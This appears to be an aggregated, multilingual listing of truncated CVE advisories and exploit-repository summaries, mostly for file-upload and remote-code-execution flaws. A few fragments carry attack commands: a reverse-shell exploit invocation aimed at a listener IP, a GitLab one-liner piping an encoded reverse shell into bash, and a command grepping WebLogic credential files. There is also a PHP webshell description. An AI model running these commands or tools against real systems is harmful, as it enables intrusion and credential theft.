EUVD-2026-94157

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow in the ASUS router modules allows an authenticated nearby user to execute arbitrary code via a crafted configuration file upload that exceeds the expected buffer size.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for...

CVE-2026-19386

A stack-based buffer overflow exists in ASUS router modules , which allows an authenticated nearby user to execute arbitrary code . This vulnerability is triggered by uploading a crafted configuration file that exceeds the expected buffer size. For specific details on affected versions and remedi...

S2-045-EXP-POC-TOOLS

CNVD-ID CNVD-2017-02474 발표일 2017-03-07 위험 수준 높음 AV:N/AC:L/Au:N/C:C/I:C/A:C 영향 제품 Apache struts =2.3.5，=2.5， CVE 식별자 CVE-2017-5638 문제 악의적인 Content-Type 값을 사용하여 RCE 공격을 수행할 수 있습니다. Content-Type 값이 유효하지 않으면 예외가 발생하며, 이를 사용하여 사용자에게 오류 메시지를 표시합니다. 해결책 Jakarta 기반 파일 업로드 Multipart parser를 사용하는 경우 Apache...

CVE-2019-12889

CVE-2019-12889 概要 SailPoint Desktop Password Reset 7.2 には、認証されていない権限昇格の脆弱性が存在します。Windows のログオン画面へのローカルアクセスのみを持つユーザーは、自分の権限を NT AUTHORITY\System に昇格させることができます。攻撃者がこの脆弱性を悪用するには、マシンへのローカルアクセスが必要です。攻撃者は、コンピューターをローカルネットワーク / WAN から切断し、インターネットに接続されたアクセスポイント /...

spring-core-rce

Spring Core RCE/CVE-2022-22965 影響範囲：JDK=9 のSpringフレームワークおよび派生フレームワーク 記事リンク スクリプトは学習目的のみで使用し、他の目的で使用した場合の法的責任は一切著者にはありません 1.インストール pip3 install -r requirements.txt 2.使い方 $ python3 spring-core-rce.py -h .----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---. .----..----. -| || \ || |--' ...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vCenter 未授权RCE的metasploit利用脚本 准备工作 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p /.msf4/modules/exploits/multi/http cp /.msf4/modules/exploits/multi/http chmod +x...

cve-2019-2618

cve-2019-2618 Weblogic アップロード脆弱性（ユーザー名とパスワードが必要）-CVE-2019-2618 Pythonの使用 python CVE-2019-2618.py url username password Weblogicパスワードの復号 root@f0cb7e674d7e:/Oracle cat /root/Oracle/Middleware/userprojects/domains/basedomain/servers/AdminServer/security/boot.properties |grep pass...

CVE-2024-0757-Exploit

CVE-2024-0757 エクスプロイト 説明 WordPress用プラグイン「Insert or Embed Articulate Content into WordPress」は、すべてのバージョン（4.3000000023 までを含む）において、zip アーカイブ内の安全でないファイルアップロードにより、任意のファイルアップロードが可能となる脆弱性があります。これにより、認証されていない攻撃者が影響を受けるサイトのサーバー上に phar ファイルを含む zip ファイルをアップロードできるようになり、リモートコード実行が可能になる可能性があります。 !IMPORTANT CVSS...

CVE-2025-24813

🚨 CVE-2025-24813 – Apache Tomcat PUT JSP RCE エクスプロイト このリポジトリには、HTTP PUT メソッドを使用して悪意のある JSP Web シェルをデプロイする、Apache Tomcat のリモートコード実行（RCE）脆弱性 CVE-2025-24813 の完全な概念実証（PoC）が含まれています。 🔥 このエクスプロイトは、適切に保護されていない Tomcat インスタンスにおいて、ファイルアップロードとペイロード実行を通じて攻撃者が RCE を達成できることを示しています。 📁 プロジェクト構造 CVE-2025-24813/ ├─...

wp-file-manager-CVE-2020-25213

WP-file-manager エクスプロイト CVE-2020-25213 WP-file-manager WordPress プラグイン（6.9）は、認証されていない任意のファイルアップロードに対して脆弱であり、システム全体が侵害される可能性があります。 詳細については、こちら に公開した私の記事を参照してください。 免責事項 私はこの脆弱性を発見したわけではなく、このCVEの功績を主張するものでもありません。私は、wordfence や seravo...

CVE-2025-27590

CVE-2025-27590 - PoCエクスプロイト（マルチパートフォームアップロードを介したコマンドインジェクション） 📌 説明 これはCVE-2025-27590 の概念実証（PoC）エクスプロイトです。この脆弱性は、適切なサニタイゼーションなしでマルチパートファイルアップロードを処理するWebアプリケーションに影響を与えるコマンドインジェクションです。この脆弱性により、リモートの攻撃者が悪意のあるフォームデータペイロードを細工して任意のシェルコマンドを実行できます。 🧠 脆弱性の概要 タイプ : コマンドインジェクション ベクター : HTTP multipart/form-da...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 任意文件上传 -purple 📌 描述 CSV Mass Importer 插件（≤ 1.2）存在一个 管理员+ 任意文件上传 漏洞。 由于对上传文件验证不当，高权限用户（如管理员）可以在服务器上上传任意文件 ，即使在应受限制的场景下（例如多站点设置）也不例外。 攻击者可利用此漏洞上传 PHP 木马或恶意文件，从而在服务器上实现远程代码执行（RCE） 。 由Nxploited（Khaled Alenazi） 发现。 🔥 详情 插件名称： CSV Mass Importer 受影响版本： ≤...

CVE-2022-29622

CVE-2022–29622: 비취약성 분석 이 코드베이스는 보안 전문가와 개발자가 Formidable이 CVE-2022-29622에 취약하지 않다고 생각하는 이유를 이해할 수 있도록 만들어졌습니다. 이에 대한 분석은 여기에 작성했습니다: CVE-2022–29622: 비취약성 분석 일부 사람들이 이해하지 못했기에, 실제 실행되는 코드를 사용하여 제 요점을 설명하려고 합니다. 서버 서버는 index.mjs에 구현되어 있습니다. Formidable 버전 3.1.4를 사용하여 원하는 파일을 업로드합니다. Formidable을 다음과 ...

CVE-2024-53677

CVE-2024-53677 - Apache Struts 2 リモートコード実行脆弱性 RCE 再現環境 このリポジトリは、Apache Struts 2 における CVE-2024-53677 脆弱性を再現するためのコンテナベース環境を提供します。この脆弱性はパストラバーサルを伴い、Struts 2 のファイルアップロード機能を介して任意のコード実行 RCE を可能にします。 セットアップ手順 環境は Podman を使用して構築および実行できます。アプリケーションをセットアップするには、以下の手順に従ってください。 git clone...

CVE-2025-50286

Grav CMS v1.7.48 / Admin Plugin v1.10.48 - 인증된 플러그인 업로드를 통한 RCE CVE-2025-50286 Grav CMS v1.7.48 및 Admin Plugin v1.10.48은 '직접 설치Direct Install' 플러그인 업로드 기능을 통해 원격 코드 실행RCE에 취약하여, 인증된 관리자가 서버에서 임의의 PHP 코드를 실행할 수 있습니다. CVE ID CVE-2025-50286 요약 유형: 인증된 원격 코드 실행 RCE 위치: /admin/tools/direct-install 관리자...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab事前認証RCE（CVE-2021-22205）のシングルラインバッシュPoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

CVE-2024-42640

CVE-2024-42640 Angular-Base64-Upload ライブラリを介した未認証のリモートコード実行 CVE-2024-42640 angular-base64-upload の v0.1.21 より前のバージョンは、angular-base64-upload/demo/server.php エンドポイントを介した未認証のリモートコード実行に対して脆弱です。この脆弱性を悪用すると、攻撃者は任意のファイル内容をサーバーにアップロードでき、その後 angular-base64-upload/demo/uploads...

rome-webshell

Rome WebShell 강력하고 매력적인 PHP 웹쉘 경량 PHP 웹쉘 로, 바닐라 JavaScript와 CSS만 사용하며, jQuery/Bootstrap의 불필요한 부담이 없습니다. 기능 완전 대화형 파일 탐색기 , 디렉토리 탐색 및 즉시 파일 다운로드 브라우저에서 직접 파일 업로드 페이로드를 'URL 인코딩'하지 않고 명령 실행 MD5 비밀번호 보호 , 예를 들어 King of the Hill 게임 중 접근 제한에 유용 완전 CSS 애니메이션, 반응형 및 매력적인 FlatUI 인터페이스 쉽게 사용자 정의 가능, CSS 변...